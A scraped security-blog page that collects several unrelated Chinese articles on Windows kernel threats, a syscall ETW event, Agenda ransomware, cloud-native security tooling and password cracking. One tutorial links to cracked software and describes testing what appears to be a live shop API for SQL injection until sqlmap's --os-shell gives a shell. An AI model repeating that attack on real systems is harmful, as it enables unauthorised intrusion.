Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109779

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我們將在本文討論攻擊者在其攻擊中是否選擇內核級訪問的原因。 Windows內核威脅長期以來一直受到攻擊者的青睞,因為它可以讓攻擊者獲得高特權訪問和檢測規避能力。時至今日,這些難以消除的威脅仍然是惡意活動攻擊鏈的關鍵組成部分。事實上,SentinelOne最近發現攻擊者濫用Microsoft簽名的驅動程序,對電信、業務流程外包(BPO)、託管安全服務提供商(MSSP)和金融服務行業的組織進行有針對性的攻擊。本月,SophosLabs還報告稱,他們發現了一個加密簽名的Windows驅動程序和一個可執行的加載器應用程序,該應用程序可以終止目標設備上的端點安全進程和服務。

我們將在2023年1月發布的研究論文“深入了解Windows內核威脅”中對值得關注的Windows內核威脅的狀態進行了更全面的分析。

追求內核級訪問的利弊對於攻擊者來說,不受限制地訪問內核是他們攻擊的最佳選擇。他們不僅能夠在內核級別執行惡意代碼,而且還能夠破壞受害者的安全防禦而不被發現。然而,需要注意的是,開發內核級rootkit和其他低級威脅也有其自身的缺點。

有利的一面:獲得對系統資源的高度特權訪問;

隱藏設備上的惡意活動,使檢測和響應活動更加困難;

保護惡意工件免受正常系統過濾過程的影響;

執行可以長時間繞過檢測的隱形操作;

從第三方防病毒產品獲得繼承的信任;

篡改多用戶模式應用程序所依賴的核心服務數據流;

篡改阻礙惡意活動的第三方安全產品;

實現非常低的檢測率,目前大多數現代rootkit在很長一段時間內都沒有被發現。

不利的一面:開發這些威脅可能代價高昂;

與其他用戶模式應用程序惡意軟件類型相比,開發和實現內核rootkit更加困難,這並不能使它們成為大多數攻擊的理想威脅;

內核rootkit的開發需要高素質的內核模式開發人員,他們了解目標操作系統的內部組件,並在逆向工程系統組件方面具有足夠的能力。

由於內核rootkit對錯誤更敏感,如果內核模塊中的代碼錯誤導致系統崩潰並觸發藍屏死亡(BSOD),它們可能會暴露整個操作。

如果受害者的安全機制已經失效或可以通過更簡單的技術消除,那麼引入內核模式組件將使攻擊變得複雜,而不是支持攻擊。

內核威脅有多普遍?我們分析了完全依賴內核驅動程序組件或在其攻擊鏈中至少有一個模塊在內核空間中執行的各種威脅。

在我們的研究中,我們根據可觀察到的技術將內核級威脅分為三個集群:

集群1:繞過內核模式代碼簽名(KMCS)策略的威脅;

集群2:使用合法的創建自己的驅動程序技術符合KMCS的威脅;

集群3:轉移到較低抽象層的威脅;

根據我們的觀察,過去七年中公開報導的值得關注的威脅和其他重大事件的數量從2018年開始呈現穩步上升的趨勢。

1.png

2015年4月至2022年10月包含內核級威脅的公共情報報告數量

目前,影響Windows內核的最大數量的內核威脅仍然屬於第一個集群。在Windows 10引入的新的基於管理程序的防禦解決方案的採用率提高之前,該集群中的威脅數量預計會增加。隨著採用率的增長,預計首批集群威脅的數量將大幅減少。

2.png

2015年4月至2022年10月,三個集群的內核級威脅分佈情況

然而,數據顯示,在過去三年中,屬於第二和第三集群的威脅數量一直在增加。

3.png

2015年4月至2022年10月按集群分類的內核級威脅

由於開發成本較高,第二集群威脅不太常見。儘管在過去五年中,第二個集群威脅的數量有所增加,但由於Windows 10和11中的KMCS策略,預計會減少並最終停止。同時,屬於第三個集群的威脅是最不常見的,因為它們的複雜性。我們認為,隨著攻擊者將其最初的感染點提前轉移到逃避現代安全機制的過程中,第三集群威脅將在未來幾年緩慢增加。

我們還根據這些威脅的具體用例對其進行了分類。

4.png

2015年4月至2022年10月使用內核級惡意軟件的威脅類型

根據我們的分析,APT間諜惡意軟件在攻擊中使用的內核級組件最多。 APT組織以擁有資源在攻擊中使用隱秘組件(如內核rootkit和較低級別的植入)而聞名。

勒索軟件和加密貨幣挖礦威脅也在其攻擊中使用了大量內核級組件,這很可能避免被安全產品檢測到,因為它們會是否惡意有效負載並從受害者設備上竊取資源。

總結根據我們對內核級威脅數據的分析,高級和成熟的惡意行為者仍然並將繼續尋求對Windows操作系統的高權限訪問,以確保他們的攻擊被成功部署。由於端點保護平台(EPP)和端點檢測和響應(EDR)技術的有效性,攻擊者將遵循阻力最小的路徑,並讓他們的惡意代碼從內核或更低的級別運行。這就是為什麼,儘管屬於這三個集群的一些內核級威脅顯著減少,但我們相信低級別的威脅在未來不會完全過時。

另外,請關注我們將於2023年1月發布的研究文章《深入了解Windows内核威胁》 中對Windows內核威脅的全面分析。

网上大多数的小程序测试抓包都是用的安卓模拟器,这里使用的是BurpSuite+Proxifer+微信客户端的抓包方式

环境准备

Burp2023.9.2

Proxifier4.5

Proxifier是一款功能非常强大的socks5客户端,可以让不支持通过代理服务器,工作的网络程序能通过HTTPS或socks或代理链。其是收费软件,免费试用31天,这里给一个破解版链接

链接:https://pan.baidu.com/s/14QElyGxDpMBGTuCFTPl4tQ?pwd=7o50

提取码:7o50

图片1.png

安装就无脑next就好了,安装好后打开

图片2.png

点击注册,名字随便写,随便复制一个注册码点击ok即可

Proxifier配置

打开proxifier,点击profile添加一个代理服务器

图片3.png

图片4.png

地址127.0.0.1,端口自定义,我这里是8888,协议选择https

继续添加一条代理规则

在我们用微信打开小程序时,进程里会多出一个WeChatAppEx

图片5.png

这个程序就是微信小程序的进程

添加规则

图片7.png

Applications就选择小程序进程应用(这里可以手动输入),Action就选择刚刚新建的代理服务器

Burp配置

图片8.png

只要编辑代理监听器和proxifier里的代理服务器一样即可,监听127.0.0.1:8888

这时微信打开一个小程序,可以看到WeChatAppEx的流量先经过proxifier,再用过127.0.0.1:8888到burp
图片9.png

现在就可以像平时测试web站点一样的方式在burp里对数据包进行测试

小程序反编译

图片10.png

在微信的设置里面可以找到微信文件保存的位置

图片11.png

目录下的Applet就是小程序缓存文件的保存地址

图片12.png

平时使用的小程序越多,对应的文件也就越多,如果找不到自己想要测试的小程序包,可以根据修改日期来找,或者直接简单粗暴,删除所有的缓存文件,再重新打开你想要测试的小程序

图片13.png

这时里面的就是我们要测试小程序对应的缓存文件夹

点开里面就是我们要解的包

图片14.png

这是一个加密的包,当用户在微信中搜索或扫描小程序二维码后,微信后台会将该小程序的相关信息打包成 .wxapkg 文件并下发到用户的设备中,这种文件格式实际上是一个压缩包,其中包含了小程序的所有代码、资源和配置文件等内容,以及一个特定的描述文件 app.json。

由于是加密的包,所以先来解密,下面是大佬的解密工具链接

链接:https://pan.baidu.com/s/1BzfvBVwD4vLpakX9PAyrsg?pwd=qz3z

提取码:qz3z

图片15.png

选中加密的包

图片16.png

解密成功后在工具目录的wxpack目录下

图片17.png

接下来进行反编译

首先安装nodejs,下载链接https://nodejs.org/zh-cn/download/ ,安装就一直下一步就好了,安装好之后添加环境变量

图片18.png

加好环境变量后cmd输入命令会得到回显

图片19.png

接下来使用反编译工具wxappUnpacker

原链接https://github.com/system-cpu/wxappUnpacker

网盘链接:https://pan.baidu.com/s/19O2KDqWn2Zyars8AREJ1LQ?pwd=22qj

提取码:22qj

来到工具目录

安装

图片20.png

安装依赖

npm install esprima
npm install css-tree
npm install cssbeautify
npm install vm2
npm install uglify-es
npm install js-beautify
逐条执行以上命令

逐条执行以上命令

接下来反编译

执行命令

node wuWxapkg.js 解密后小程序的路径

图片21.png

图片22.png

执行完后会在被反编译的包的目录下生成一个目录

图片23.png

图片24.png

里面就是反编译过后得到的文件了

下载微信开发者工具

官网下载链接

https://servicewechat.com/wxa-dev-logic/download_redirect?type=win32_x64&from=mpwiki&download_version=1062308310&version_type=1

安装好后打开

图片25.png

点击加号

图片26.png

目录选择反编译后的目录,后端服务选择不使用云服务,点击确定

图片29.png

就可以查看小程序的js代码了

测试

点击发送验证码的功能

图片30.png

是/api/shop/ipad/login/sms路径

在代码里面找到发送功能的代码

图片31.png

发现只有/login/sms

现在基本确认了路径访问规则,将接口拼接到/api/shop/ipad之后,找其他接口拼接尝试有没有未授权

找一个首页的路径拼接

图片32.png

直接发包返回404

图片33.png

拼接/api/shop/ipad之后发包

图片34.png

可以确定路径是对了,但是不存在未授权,这一个路径不存在,并不完全代表所有接口都不存在,也许有那么几个接口漏掉了没做鉴权,就会造成未授权,信息泄露之类的

一不小心getshell

继续看刚刚发送验证码的接口,看看有没有短信轰炸之类的

图片35.png

访问/login/sms接口,并且以post方式接收mobile参数

构造包

图片36.png

输入一个不存在的手机号,显示手机号码有误

图片37.png

输入一个真实的也提示有误,有可能只有系统存在的账户手机号才有效

看到参数习惯性打个单引号

图片38.png

哦豁,再加个单引号

图片39.png

哦豁+1
看返回数据包可以判断出用的.net,个人觉得这个框架是很多注入的,尝试手注没有回显,sqlmap一把梭,https加上--force-ssl参数

图片40.png

成功跑出SQL注入,而且是堆叠注入,尝试--os-shell

图片41.png

 

转自于原文链接:https://forum.butian.net/share/2477

 

微軟最近的精力主要放在了Win11 22H2年度更新上了,正式版本預計要到明年9月底正式發布,現在已經大量推送。

近年來,微軟下大力緩解和修復特定的惡意軟件或漏洞,增加了大量的緩解措施,如零初始化池分配(zero-initialized pool allocation)、CET、XFG和最新的CastGuard,攻擊者利用漏洞變得越來越困難。最重要的是,通過ETW,特別是威脅情報ETW通道,可以提高對惡意軟件和利用技術的可見性。

在23H2預覽版本中,微軟推出了一個新的ETW事件,這次針對的是NT API,這些API可針對各種可疑行為。 Windows 事件跟踪(ETW) 提供了一種用於檢測用戶模式應用程序和內核模式驅動程序的機制。 Log Analytics 代理用於收集寫入到管理和操作ETW 通道的Windows 事件。 但是,有時需要捕獲和分析其他事件,例如寫入分析通道的事件。

系統調用使用可見性隨著這一新的變化,微軟將重點放在幾個系統調用上,這些調用通常不應該被許多應用程序使用,但可能會被漏洞利用,例如KASLR繞過、VM檢測或物理內存訪問。這個新事件所涉及的許多情況都已被限制為特權進程,有些需要為管理員或系統進程保留特權,有些則限制為低IL或不受信任的調用方。但是,試圖調用這些系統調用中的任何一個都可能表明存在可疑活動。

到目前為止,EDR檢測這類活動的唯一方法是將用戶模式掛鉤放置在洩漏內核指針的所有不同NtQuery函數中。但實踐證明,這並不理想。一段時間以來,微軟一直試圖讓EDR遠離用戶模式掛鉤,主要是通過添加ETW事件,允許EDR通過非侵入性方式使用相同的信息。

為了跟上這一趨勢,Windows 11 23H2向威脅情報頻道添加了一個新的ETW事件——THREATINT_PROCESS_SYSCALL_USEGE。生成此ETW事件是為了指示非管理員進程對API+信息類進行了API調用,該API調用可能會及時發現某些異常以及潛在的惡意活動。此事件將為兩個API中的信息類生成:

NtQuerySystemInformation;

NtSystemDebugControl;這些API有許多信息類,其中許多是“無害的”,並且通常被許多應用程序使用。為了避免發送不感興趣或無用的信息,以下信息類將生成ETW事件:

1.png

包含這些信息類的原因各不相同,有些會洩漏內核地址,有些可用於VM檢測,另一些用於硬件持久性,還有一些表示大多數應用程序不應具備的物理內存知識。總的來說,這一新事件包含了應用程序無法正常運行的各種指標。

每一種緩解措施都必須考慮潛在的性能影響,當在頻繁調用的代碼路徑中生成ETW事件時,可能會降低系統的速度。因此,有一些限制適用於此:

1.事件只會為用戶模式的非管理員調用者生成。由於Admin-內核不被認為是Windows上的邊界,因此許多緩解措施不應用於管理進程,以降低對系統的性能影響。

2.對於每個流程,每個信息類只生成一次事件。這意味著如果NtQuerySystemInformation被一個進程調用10次,並且都使用相同的信息類,那麼只會發送一個ETW事件。

3.只有在調用成功時才會發送事件,失敗的調用將被忽略,並且不會產生任何事件。

為了支持上述第2個限制並跟踪流程所涉及的信息類,EPROCESS結構中添加了一個新字段:

2.png

當一個流程第一次成功調用一個被監控的信息類時,將設置與該信息類對應的位,即使沒有為這些流程發送ETW事件,也會發生在管理流程上。 ETW事件僅在未設置位時發送,已確保每個類只發送一次事件。雖然沒有API來查詢這個EPROCESS字段,但它確實有一個很好的副作用,那就是留下每個進程使用哪些信息類的記錄——如果你分析一個系統,可以查看這些記錄,但前提是在系統中啟用了Syscall Usage事件,否則位不會被設置。

檢查數據目前還沒有啟用這個事件,也沒有人使用它,但我希望看到Windows Defender很快開始使用它,希望其他EDR也能使用。我手動啟用了這個事件,以查看這些“可疑的”API是否在常規設備上被使用,使用我的I/O環漏洞作為完整性測試,因為我知道它使用NtQuerySystemInformation洩漏內核指針。以下是正常執行幾分鐘後的一些結果:

3.png

顯然,有一些信息類在設備上使用非常頻繁,到目前為止主要的是SystemFirmwareTableInformation。這些常見的類可能會在早期被EDR忽略,因此更容易被濫用。

總結這是否意味著不再有基於API的KASLR繞過,或者所有現有漏洞都會立即被檢測到?當然不會。 EDR需要一段時間才能開始註冊和使用這些事件,特別是因為23H2將在明年秋天的某個時候正式發布,而大多數安全產品可能還需要一兩年的時間才能意識到這一事件的存在。由於此事件被發送到只有PPL才能註冊的威脅情報頻道,因此許多產品根本無法訪問此事件或其他與攻擊相關的事件。此事件將使EDR能夠獲取惡意進程進行的一些額外調用的信息,但這只是攻擊的其中一步,如果安全產品過於依賴它,無疑會導致許多誤報。無論如何,這一事件只涉及一些已知的指標,而其他許多指標則被忽略。

今年,各種勒索軟件即服務組織相繼在Rust中開發了他們的勒索軟件版本,這其中就包括Agenda。 Agenda的Rust變體瞄準了一些重要行業。我們將在本文中介紹Rust變體的工作原理。今年,BlackCat、Hive和RansomExx等勒索軟件即服務(RaaS)組織開發了Rust版本的勒索軟件,Rust是一種跨平台語言,可以更容易地為Windows和Linux等不同的操作系統定制惡意軟件。在這篇文章中,我們介紹了另一個已經開始使用這種語言的勒索軟件組織Agenda(也稱為Qilin)。

根據我們在過去一個月的觀察,Agenda勒索軟件的活動包括在其洩露網站上發布許多公司的信息。攻擊者不僅聲稱他們能夠侵入這些公司的服務器,還威脅要公佈他們的文件。勒索軟件組織在其洩漏網站上發布的公司位於不同的國家,主要屬於製造業和IT行業,總收入超過5.5億美元。

最近,我們發現了一個用Rust語言編寫的Agenda勒索軟件樣本,檢測結果為Ransom.Win32.Agenda.THIAFBB。值得注意的是,同樣的勒索軟件最初是用Go語言編寫的,以針對泰國和印度尼西亞等國家的醫療和教育部門而聞名。攻擊者通過使用洩露的賬戶和唯一的公司ID等機密信息作為附加的文件擴展名,為目標受害者自定義了之前的勒索軟件二進製文件。 Rust變體還使用了間歇性加密,這是當今攻擊者用於更快加密和逃避檢測的新興策略之一。

1.png

VirusTotal中二進製文件的提交詳細信息,包括提交日期和上傳地區

2.png

BinText上顯示二進製文件使用的Rust模塊/函數的字符串

技術分析執行時,Rust二進製文件會提示以下錯誤,要求將密碼作為參數傳遞。這個命令行特性類似於用Golang編寫的Agenda勒索軟件二進製文件。

3.png

執行示例時的錯誤提示

在以“-password”作為參數並結合虛擬密碼“agenda apass”執行示例時,勒索軟件示例將從終止各種進程和服務開始運行其惡意例程。

4.png

終止應用程序和服務

針對我們分析的樣本,勒索軟件將擴展名“MmXReVIxLV”附加到加密文件中。它還在命令提示符上顯示活動日誌,包括已加密的文件和運行時間。

5.png

加密文件示例

6.png

加密文件中的日誌

然後,勒索軟件將繼續在其加密的每個目錄上釋放其勒索通知。正如其勒索說明中所觀察到的,用於執行勒索軟件的密碼也將用作登錄勒索軟件組支持聊天網站的密碼。

7.png

勒索通知

勒索軟件分析不同於Agenda的Golang變體,它接受10個參數,Rust變體只接受3個參數:

8.png

Agenda勒索軟件Rust變體使用的參數

Rust變體在二進製文件中也包含硬編碼配置,就像以前在Golang中編譯的示例一樣。

9.png

包含配置的二進製文件內的函數

10.png

包含配置的字符串

它還在其配置中添加了-n、-p、fast、skip和step標誌,這些標誌在Golang變體配置中不存在,僅通過命令行參數使用。經過進一步分析,我們了解到這些標誌用於間歇性加密。這種策略使勒索軟件能夠根據標誌的值對文件進行部分加密,從而更快地加密受害者的文件。這種策略在勒索軟件攻擊者中越來越流行,因為它可以讓他們更快地加密,並避免嚴重依賴於讀/寫文件操作的檢測。

11.png

用於間歇加密的標誌

12.png

用於間歇加密的標誌

13.png

Agenda勒索軟件Golang變體接受的命令行參數

我們試圖使用其配置中的一些標誌來模擬其加密行為。對於這個模擬,我們使用一個填充“a”作為內容的虛擬文件。

對於快速模式:

值:1

14.png

快速標誌設置為1

加密字節:1*0x200000h,其中1是快速標誌中設置的值

15.png

0x200000h字節加密

對於N-P模式:

16.png

標誌設置為n=1; p=1

總大小=88082336字節,加密的字節數=1 *0x200000,h,其中1是n標誌中設置的值,跳過的字節數=880818字節(整個文件的1%),其中1是p標誌中設置的值。

17.png

加密字節的0x200000h

18.png

880818字節(相當於文件的1%)加密

除了用於不同加密模式的附加標誌之外,Rust變體還將AppInfo包括在要終止的服務列表中。它禁用了用戶帳戶控制(UAC),這是一項Windows功能,有助於防止惡意軟件以管理權限執行,從而導致無法以管理權限運行其他應用程序。

19.png

使用與service_CONTROL_stop等效的參數0x01停止服務的函數

20.png

用於使用等同於SERVICE_DISABLED的參數0x04禁用服務的函數

21.png

禁用AppInfo服務後,無法運行具有管理權限的應用程序

眾所周知,Agenda勒索軟件還可以為每個受害者部署自定義的勒索軟件,我們已經看到,它的Rust變體有一個分配的空間,用於在其配置中添加帳戶,主要用於權限升級。

22.png

在Agenda勒索軟件的Rust變體配置中分配的帳戶

要附加在加密文件上的文件擴展名在其配置中是硬編碼的。

23.png

要附加的文件擴展名

然而,與之前的Golang變體不同,攻擊者在Rust變體的配置中不包括受害者的憑據。後者的這一特性不僅可以阻止其他研究人員訪問勒索軟件的聊天支持網站,還可以在外部提供樣本時訪問攻擊者的對話。它還可以防止來自受害者之外的其他人的主動信息。

24.png

Agenda勒索軟件聊天支持網站

總結Agenda是一個新興的勒索軟件家族,最近一直針對醫療保健和教育行業等關鍵部門。目前,它的攻擊者似乎正在將他們的勒索軟件代碼遷移到Rust,因為最近的樣本仍然缺乏在用Golang變體編寫的原始二進製文件中看到的一些特徵。 Rust語言在攻擊者中越來越受歡迎,因為它更難分析,而且反病毒引擎的檢測率較低。

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大改變。轉變是一個旅程,每個組織都不相同,甚至同一組織的不同部分也不同。

雖然選擇正確的道路是由你的決定,但為了讓它正確,模式和最佳實踐已經開始出現。在本文中,我提出了幾個可以考慮打破現狀的領域,以及如何打破現狀。

重新思考工具除了組織架構的改變,CNAS和“開發優先”還需要重新評估你的工具包。鑑於這種新視角,你應該重新考慮在技術解決方案中尋找的最重要特徵,以及你希望如何捆綁工具。

有很多方法可以重新評估工具,但我建議關註三個主要領域:開發工具採用、平台範圍和治理方法。

開發人員工具口徑如果我們的目標是讓開發人員在日常工作中能夠構建安全性,我們需要確保為他們提供針對該目標進行優化的工具。如果你購買專為審計人員設計的解決方案並要求開發人員使用它們,那麼你不太可能取得成功。

不出所料,開發人員習慣於使用開發人員慣用的工具。這些工具代表了整個行業,圍繞著什麼是優秀的開發者工具這一主題,已經在行業內發展了自己的最佳實踐。為了幫助你選擇開發人員將採用的安全解決方案,你應該根據開發者工具最佳實踐評估這些工具,並了解它們的表現如何。

以下是優秀的開發者工具的一些常見特徵:

成功的自助服務採用實際上,所有成功的開發工具都具有出色的自助服務用法,包括輕鬆的上手培訓、直觀的工作流程和出色的文檔。這是開發人員喜歡使用工具的方式,它迫使供應商確保他們的工具與開發人員相關,而無需銷售人員推動它。除非你想成為向開發人員推廣工具的銷售人員,否則請尋找具有開發人員自助服務採用的良好記錄的工具。

無縫集成到工作流程中在大多數情況下,開發工具經常與開發人員打交道,而不是要求他們再打開另一個工具。它們優雅地集成到其IDE、Git和研發管道中,並在正確的時間點提供價值。集成不僅僅是技術鉤子;他們需要適應工作流程和最佳實踐,否則將被拒絕採用。

豐富的API和自動化友好雖然需要固執己見的集成才能開始,但開發工具也必須是瑞士軍刀。豐富的API和自動化友好的客戶端(CLI/軟件開發工具包[SDK])是強制性的,既可以將該工具調整到每個管道,又允許社區在其上進行構建。如果你不能在工具上構建,它就不是一個偉大的開發工具。

開源和社區採用開發人員希望其他開發人員來驗證工具的可信度,而開源採用是最好的指標。看到開源項目集成了安全工具或基於此構建的開源項目,這些都是很好的開發人員社區驗證。在檢查安全工具時,檢查它在開源中的採用情況並得出自己的結論。

這些只是眾多開發工具最佳實踐中的一小部分。如果你想了解更多關於開發優先安全性的特定安全建議,請繼續往下看。此外,在評估任何工具時,請確保讓實際的應用程序開發人員參與進來,以便從現實生活中了解它與周圍環境的契合程度(如下圖所示)。

ce0ff4b0-0eee-4791-b04a-0cd56b885b79.png

開發人員友好的安全工具示例

平台範圍當前主流的AST平台主要關注自定義代碼,也許還有應用使用的開源庫。工具套件主要由SAST、DAST和IAST組成,最近又添加了SCA。當你擁抱更廣泛的雲原生應用程序範圍時,請重新考慮平台的構成。

首先,讓我們考慮一下哪些工具從成為單一平台的一部分中受益。它們可以分為下面幾個部分:

共享用戶:如果不同的工具是為不同的主要用戶設計的,那麼它們幾乎不需要成為單個平台的一部分,因為它們無論如何都會單獨使用。

共享工作流:如果以類似的方式使用多個工具並集成到用戶工作流的類似點中,則可以通過組合它們來節省集成時間以及用戶的時間和精力,而無需使用多個單獨的工具。

共享優先級:如果來自不同工具的行動項應彼此優先排序,則共享積壓工作可以提高效率和結果。

價值倍增:最後,工具共享平台的最強驅動力是當工具一起使用可以增強每個工具的價值。這個標準自然解釋了為什麼像SAST和SCA這樣的技術非常適合單一平台。兩者都為相同的開發人員用戶提供服務,運行掃描並在相同的位置吸引用戶,並共享同一開發人員需要優先考慮的安全漏洞的積壓。在高級SCA解決方案中,SAST技術可以指示你的自定義代碼是否調用庫中易受攻擊的代碼,從而提供更高的準確性,從而增加價值。

當你考慮將容器和IaC安全性添加到SAST和SCA的同一平台時,相同的邏輯也適用:共享用戶:容器和IaC現在由開發人員保護,就像SAST和SCA一樣,他們寧願沒有多個不同的產品需要花時間學習和參與。

共享工作流:保護容器和IaC需要跨生命週期的集成,例如IDE、Git和構建集成,就像SAST和SCA一樣。

共享優先級:同一個開發人員需要花費周期來修復容器或IaC漏洞,或者代碼或庫中的漏洞——所有這些都是保護應用的積壓工作。

價值倍增:保護這些組件有多種方式。掃描容器需要探索內部的應用程序,了解基礎設施配置有助於確定代碼和庫的漏洞優先級,了解跨組件的流程有助於緩解問題;這正是你在對漏洞進行分類時所做的。

即使CNAS範圍擴大,這種邏輯仍然有效,我鼓勵你將CNAS工具視為一個平台。一個簡單的準則是,Git存儲庫中的任何內容都可能與其周圍的文件相關,並遵循相同的開發工作流。因此,CNAS平台應有助於保護存儲庫中的所有內容(整個雲原生應用)。

DAST和IAST在這樣一個平台上是有點尷尬的參與者。儘管它們處理保護應用程序,但它們通常需要不同的工作流程。由於運行它們所花費的時間,很難將它們放入構建管道或IDE掃描中。在我看來,這是一個技術問題,而不是一個合乎邏輯的問題,一旦IAST和DAST解決方案發展到對管道更加友好,它有望得到解決。

治理和賦權方法採用開發優先的安全方法需要不同類型的協作。我們需要的工具不是專注於廣播和執行自上而下的任務,而是幫助我們協作構建安全應用程序的工具。

這聽起來可能很明顯,但在實踐中,這與許多安全工具的工作方式有很大的不同。讓我們深入研究一些具體的例子,以了解這意味著什麼。

首先,開發人員需要有能力平衡業務需求與安全風險。這意味著,例如,允許他們決定不修復發現的漏洞並繼續將其部署到生產環境。對某些人來說,這是一個可怕的命題,但這是實現獨立團隊的唯一方法。請注意,忽略漏洞仍應要求提供(且可審核)原因,並且某些約束應為硬槓槓(通常出於合規性原因),但作為默認立場,決策應留給開發人員。

其次,開發人員需要能夠管理他們的安全風險,這需要看到他們項目中的所有漏洞。這不僅需要包括漏洞列表,還需要包括確定優先級所需的所有信息,例如可利用性和資產映射。對此類信息保持透明可能會帶來一些風險,但這是擴展安全性的唯一方法;要賦予開發人員權力,你必須信任他們提供這些敏感數據。

第三,安全團隊應該投資於跟踪和推動安全控制的採用,甚至超過他們的產出。開發團隊應該管理其漏洞積壓工作,但安全團隊需要幫助他們成功做到這一點。開發優先安全治理意味著跟踪採用了哪些控件及其輸出的處理情況,並與開發團隊合作改進這些統計信息,而不是突出顯示他們應該修復的漏洞。

這些只是評估治理工具和技術時要考慮的幾個示例。關鍵是要擁抱平台心態;它的目標是幫助開發團隊成功構建安全軟件,而不是跟踪安全漏洞本身。

重新思考優先事項最後但並非最不重要的一點是,CNAS需要重新考慮應用程序安全優先級。如果開發人員需要保護整個雲原生應用程序,你希望他們最關注哪些方面?

從歷史上看,IT安全控制主導了更大的預算,並且比應用程序安全控制獲得了更多CISO的關注。這種不平衡可能有歷史原因,但歸根結底,它代表了CISO關於如何最好地使用他們的資金來降低組織風險的觀點。

換句話說,CISO認為,由於未修補的服務器或配置錯誤的基礎架構而導致的違規風險大於代碼中的自定義漏洞的風險。這種看法有相當多的數據來支持它,顯示了歷史違規行為及其原因。此外,它很容易理解;對於攻擊者來說,大規模運行已知的漏洞並尋找一扇敞開的門要比對應用程序進行逆向工程並找到自定義缺陷以使其通過要容易得多。

云不會減少這個等式;事實上,雲加強了這個等式。採用雲意味著使用更多的基礎設施和更多的服務器,它們往往更容易公開訪問,並且它們由不太熟悉管理它們的團隊(開發人員)定義,並配備了不太成熟的工具。

然而,雖然以前的平衡是在IT安全預算和應用程序安全預算之間,但現在一切都在應用程序安全世界中。在構建雲原生應用程序時,相同的開發人員需要保護其自定義代碼,管理其開源使用中的漏洞,並使服務器和基礎架構具有彈性。同一個應用程序安全團隊需要幫助他們做到這一點,並在他們之間分配相同的預算。

因此,我們回到開場白:你希望如何分配寶貴的開發人員的時間和有限的CNAS預算?

丟掉開發人員自己的設備和應用程序安全預算並讓開發人員的注意力集中在保護自定義代碼上。應用程序安全成熟度模型、行業最佳實踐以及團隊中個人的個人體驗都錨定在雲前的世界中,其中自定義代碼是開發人員必須保護的大部分內容。購買SAST和DAST等工具通常是應用程序安全新領導者名單上的第一件事,很少受到挑戰。

但是,考慮到CNAS的範圍,這仍然是你時間和金錢的最佳利用嗎?由於已知漏洞或配置錯誤而導致的違規風險仍然高於自定義代碼缺陷的風險,即使開發人員是配置它的人。如果你同意,難道不應該告訴你的開發人員和應用程序安全團隊首先要專注於保護這些層,然後才能處理他們的自定義代碼嗎?

這不是一個容易回答的問題。我不會假設知道你的優先事項應該是什麼,因為這些優先事項會因組織而異。但是,鑑於CNAS的範圍更廣,我強烈建議你在內部進行此對話並重新考慮你的優先事項。

結論改變你處理應用程序安全性的方式不僅僅是一種思考練習。它具有非常真實的下游影響,包括人們的職業生涯,預算分配以及對保持組織安全的最佳方式的重新評估。它需要擺脫一些關於你過去如何做事的肌肉記憶,而不是在選擇解決方案時回到第一原則,這需要寶貴的時間和精力。

好消息是,你不必一次完成所有操作。我在本文中概述的變化相互關聯,但可以按照自己的節奏應用。我建議你選擇與你最相關的那些內容,或者選擇你認為更重要的其他變化,並讓這些變化繼續下去。你將逐步調整安全功能以適應云原生現實。

惡意行為者通常以用戶和管理員憑據為目標,因為他們希望使用它們來訪問敏感數據。據Verizon 稱,在2021 年受到社會工程攻擊的數據中,憑證佔高達85%。為了竊取用戶憑證,黑客可以使用惡意軟件或各種密碼破解方法。

薄弱的密碼策略和缺乏防止密碼破解的保護是導致帳戶洩露的兩個最常見的漏洞。

在本文中,我們討論了密碼破解的危險並提供了減少惡意身份驗證嘗試的最佳實踐。我們還探討了Fail2ban 服務如何幫助您保護對用戶帳戶的訪問,並提供有關如何配置Fail2ban 的分步指南,以及分享我們在Viber 聊天機器人中配置Fail2ban 通知的經驗。

本文將幫助Web 產品所有者和軟件開發團隊識別並消除其Linux 服務器的漏洞。

什麼是密碼破解?要訪問Web 應用程序,用戶需要在系統內創建配置文件。為此,用戶通常會創建一個登錄名和密碼作為用於保護帳戶訪問的憑據。根據申請類型,他們可能還必須提供其他數據,如個人信息、消息和銀行賬戶。所有這些數據對威脅行為者都很有價值,他們可以嘗試使用各種密碼竊取方法從不同的應用程序訪問用戶配置文件。

在開發Web 應用程序時,必須牢記密碼被盜的風險並實施強大的安全機制來減輕這些風險。否則,如果攻擊者設法訪問用戶帳戶並暴露個人信息,Web 應用程序提供商可能會面臨客戶流失和聲譽受損等後果。如果用戶決定將案件告上法庭,他們也可能承擔經濟損失。

image.png

密碼破解的後果

竊取用戶數據的一種方法是破解密碼。

這種方法的主要目標是猜測應用程序或計算機服務的密碼。該技術本身不一定是惡意的,它可以作為一種目標漏洞驗證技術用於安全測試。

密碼破解是從存儲在計算機系統中或通過網絡傳輸的密碼哈希中恢復密碼的過程。它通常在評估期間執行,以識別密碼較弱的帳戶。

在應用密碼破解技術時,黑客通常會使用特殊的應用程序和工具,這些應用程序和工具會應用多個憑據變體,直到找到正確的一對。密碼破解應用程序用於猜測密碼的每秒憑據數取決於攻擊者計算機的性能。此外,猜測用戶密碼所需的時間取決於密碼強度。

密碼破解方法有多種:image.png

密碼破解攻擊的類型

字典攻擊是一種通過系統地輸入字典中的每個單詞作為密碼來訪問IT 資源的方法。黑客經常使用破解詞典,其中存儲了常用的密碼和熟悉的單詞,例如不同語言的名稱和地點。此類詞典還可能包括黑客收集和添加的先前被盜的用戶憑證。字典攻擊是一種快速猜測弱口令的方法,但對於不常見的強口令,它們通常不會成功。

蠻力攻擊是一種直接的試錯法,它著重於生成所有可能的密碼,達到一定長度。黑客檢查所有密碼組合,包括所有字母、數字和特殊符號的組合,從可能的最小密碼長度開始。可能組合的數量取決於密碼的長度。理論上,這種破解方法的成功率是100%。這只是時間問題,因為短密碼可以在幾分鐘內猜出,而非常長且複雜的密碼可能需要數十年才能破解。

彩虹襲擊。大多數應用程序使用哈希加密用戶密碼,並以加密形式存儲它們。黑客使用存儲預先計算的密碼哈希值的彩虹表來破解數據庫中的密碼哈希值。

網絡釣魚。通過網絡釣魚,攻擊者誘使用戶單擊電子郵件附件或URL 鏈接,引導他們登錄到虛假版本的Web 應用程序並洩露他們的密碼。

反向蠻力。惡意行為者使用針對多個用戶名的通用密碼來訪問帳戶。

